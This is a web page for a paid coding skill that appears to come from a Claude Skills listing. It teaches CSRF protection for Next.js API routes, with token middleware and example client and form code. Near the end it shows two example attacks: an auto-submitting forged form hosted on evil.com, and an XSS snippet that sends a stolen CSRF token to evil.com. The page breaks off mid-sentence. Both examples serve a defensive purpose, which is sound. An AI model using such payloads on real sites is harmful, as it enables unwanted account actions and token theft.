Claude
Skills
Sign in
Back

csrf-protection

Included with Lifetime
$97 forever

Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".

Backend & APIs

What this skill does


# CSRF Protection - Preventing Cross-Site Request Forgery

## What CSRF Attacks Are

### The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is **Cross-Site Request Forgery**—tricking your browser into making requests you didn't intend.

### Real-World CSRF Attacks

**Router DNS Hijacking (2008):**
A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

**YouTube Actions (2012):**
YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

### Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in **35% of web applications tested**. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin

## Our CSRF Architecture

### Implementation Features

1. **HMAC-SHA256 Cryptographic Signing** (industry standard)
   - Provides cryptographic proof token was generated by our server
   - Even if intercepted, attackers can't forge tokens without secret key

2. **Session-Bound Tokens**
   - Tokens can't be used across different user sessions
   - Each user gets unique tokens

3. **Single-Use Tokens**
   - Token cleared after validation
   - Window of opportunity is seconds, not hours
   - If captured, useless after one request

4. **HTTP-Only Cookies**
   - JavaScript cannot access tokens
   - Prevents XSS-based token theft

5. **SameSite=Strict**
   - Browser won't send cookie on cross-origin requests
   - Additional layer of protection

### Implementation Files

- `lib/csrf.ts` - Cryptographic token generation
- `lib/withCsrf.ts` - Middleware enforcing verification
- `app/api/csrf/route.ts` - Token endpoint for clients

## How to Use CSRF Protection

### Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

```typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
```

### Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

```typescript
// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
```

### Step 3: What Happens Automatically

When `withCsrf()` wraps your handler:
1. Extracts CSRF token from `X-CSRF-Token` header
2. Extracts CSRF cookie from request
3. Verifies token matches cookie using HMAC
4. Clears token after validation (single-use)
5. If valid → calls your handler
6. If invalid → returns HTTP 403 Forbidden

## Complete Example: Protected Contact Form

```typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: '[email protected]',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Frontend Integration Example

```typescript
// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}
```

## Attack Scenarios & Protection

### Attack 1: Malicious Website Submits Form

**Attack:**
```html
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>
```

**Protection:**
- No CSRF token in request → withCsrf() returns 403
- User's account safe

### Attack 2: XSS Attempts to Read Token

**Attack:**
```javascript
// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });
```

**Protection:**
- Token is single-use
- Even if stolen, expir

Related in Backend & APIs